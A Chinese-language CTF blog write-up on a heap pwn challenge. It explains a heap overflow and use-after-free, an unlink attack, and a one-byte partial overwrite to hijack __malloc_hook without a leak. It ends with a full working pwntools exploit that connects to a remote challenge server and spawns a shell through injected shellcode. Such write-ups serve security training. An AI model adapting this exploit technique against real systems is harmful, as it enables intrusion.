Loading... HCTF-game 终于是结束了,我也没有借口再不做题了,所以从今天开始还是要继续每天一题(~~尽量吧~~)。 这道题目比较麻烦,是我做过的和堆相关的最麻烦的一道题。前前后后加起来大概做了将近两个小时,从下题到交 flag 总共将近十个小时,主要是中间被一些事情耽搁了。这里也真的是要发发牢骚,大学里面总是会有一些莫名其妙的破事和破人,今天就碰到了,非常的不爽,都是成年人了还有人要管别人对待破事的“态度”,真的是无法理解。 #### 漏洞点 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/850475075.png "></div> <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2073990753.png "></div> 就是这两处的堆溢出和 UAF,看起来很简单不是吗?虽然程序没有提供 leak 的函数,但是我们用 unlink 方法,可以通过修改 free@got 来 leak,算是很常用的套路了。但是 checksec 一下就有点不对了。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2508990484.png "></div> 开启了 Full RELRO,这样我们就不能写 got 了,当然以前碰到这种情况并不会手足无措,因为可以写 `__malloc_hook`,但是这道题没得 leak,所以我就手足无措了。很遗憾没有想出来,只好查看别人的 wp。 #### 解法 首先肯定要先 `unlink` 一波,获得对储存各个 `chunk` 的 `buf` 数组的任意写的权限,这个就不多说了。 然后就是我们应该如何 getshell 了,可以注意到 `NX disabled`,就可以考虑布置 shellcode 到必定会存在的一个地址固定的可执行段上。由于我们对 `buf` 数组任意写,所以我们是有任意地址写的能力的,所以这个很好布置。 然后呢,一个巧合需要了解一下 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3402088452.png"></div> `dword_3C4B20` 就是我们喜闻乐见的 `main_arena` 了(原因可以参考[笔者的此文](https://www.cjovi.icu/pwnreview/1089.html)),可以看到这三个常用的 gadget 是非常相邻的。考虑到 `Unsorted Bin` 的链表尾的 `fd` 是指向 `main_arena` 的一个固定偏移处的,这个偏移也不甚大,所以这个 `fd` 很可能只有最低字节和 `&__malloc_hook` 不同,所以我们可能不需要 leak 就可以获得 `__malloc_hook`,事实也是这样的,只要我们通过 `Update` 功能在 UAF 时只修改一个字节,并改为 `'\x10'` 就可以获得了。这样就可以劫持 `__malloc_hook`,让它指向 shellcode,就可以 getshell 了。 光改出来一个 `__malloc_hook` 肯定是不够的,我们需要的是对 `__malloc_hook` 的任意写。并没有别的特别好的方法,只能在 `buf`数组中布置 `fake_chunk`,然后想办法把这个 `chunk`放到 `Unsorted Bin` 的头部或者尾部。这个也好办,我们有对 `buf` 任意读写的能力,布置 `fake_chunk` 上去就可以了,又由于这个 `fake_chunk` 的地址也是知道的,也可以在 `buf` 布置好指向这个 `fake_chunk` 的指针,就可以很容易地 `free` 它了,这样我们就可以在 `buf` 数组中拥有一个指向 `__malloc_hook` 的指针,从而实现劫持,就可以 getshell 了。 以下是具体的布置方式 ```python payload = p64(0) * 2 payload += p64(shell_code_addr)#buf[0] point to shellcode payload += p64(buf_addr + 6 * 8)#buf[1] payload += p64(0)#buf[2] payload += p64(0)#buf[3] fake_chunk = p64(0) + p64(0x111) fake_chunk = fake_chunk.ljust(0x110,'\x00') fake_chunk += p64(0) + p64(0x21) * 10 ``` 要注意的是这里**会进行后向合并的尝试**,一不小心就异常了,要布置好这个 `fake_chunk` 后面的 `chunk`。我的做法比较简单粗暴,全部写成 `0x21`,分配器就不会乱来了,也不会出现 `size` 不对的那些垃圾问题了。 #### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug',os = 'linux',arch = 'amd64') context.terminal = ['tmux','splitw','-h'] def Create(size,payload): sh.sendlineafter("choice :",str(1)) sh.sendlineafter("Size: ",str(size)) sh.sendafter("Data: ",payload) def Delete(index): sh.sendlineafter("choice :",str(2)) sh.sendlineafter("Index: ",str(index)) def Update(index,size,payload): sh.sendlineafter("choice :",str(3)) sh.sendlineafter("Index: ",str(index)) sh.sendlineafter("Size: ",str(size)) sh.sendafter("Data: ",payload) #sh = process("./timu") sh = remote("111.200.241.244",51087) elf = ELF("./timu") libc = ELF("./libc-2.23.so") buf_addr = 0x601040 shell_code_addr = 0x601B00 Create(0x10,"index:0\n") Create(0x100,"index:1\n") Create(0x100,"index:2\n") Create(0x20,"index:3\n") fake_chunk = p64(0) + p64(0x111) + p64(0) + p64(0x21) + p64(buf_addr + 8 - 0x18) + p64(buf_addr + 8 - 0x10) + p64(0x20) fake_chunk = fake_chunk.ljust(0x110,'\x00') payload = 'a' * 0x10 + fake_chunk payload += p64(0x100) + p64(0x110) + '\n' Update(0,len(payload),payload) Delete(2) payload = p64(0) * 2 payload += p64(shell_code_addr)#buf[0] point to shellcode payload += p64(buf_addr + 6 * 8)#buf[1] payload += p64(0)#buf[2] payload += p64(0)#buf[3] fake_chunk = p64(0) + p64(0x111) fake_chunk = fake_chunk.ljust(0x110,'\x00') fake_chunk += p64(0) + p64(0x21) * 10 payload += fake_chunk Update(1,len(payload),payload) shellcode = asm(shellcraft.sh()) #gdb.attach(proc.pidof(sh)[0]) Update(0,len(shellcode),shellcode) Create(0x200,"index:2") Delete(1) Update(1,1,'\x10') Update(6,8,p64(shell_code_addr)) sh.sendlineafter("choice :",str(1)) sh.sendlineafter("Size: ",str(0)) sh.interactive() ``` 最后修改:2021 年 02 月 28 日 09 : 58 PM © 允许规范转载 赞赏 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧 ×Close 赞赏作者 扫一扫支付 支付宝支付 微信支付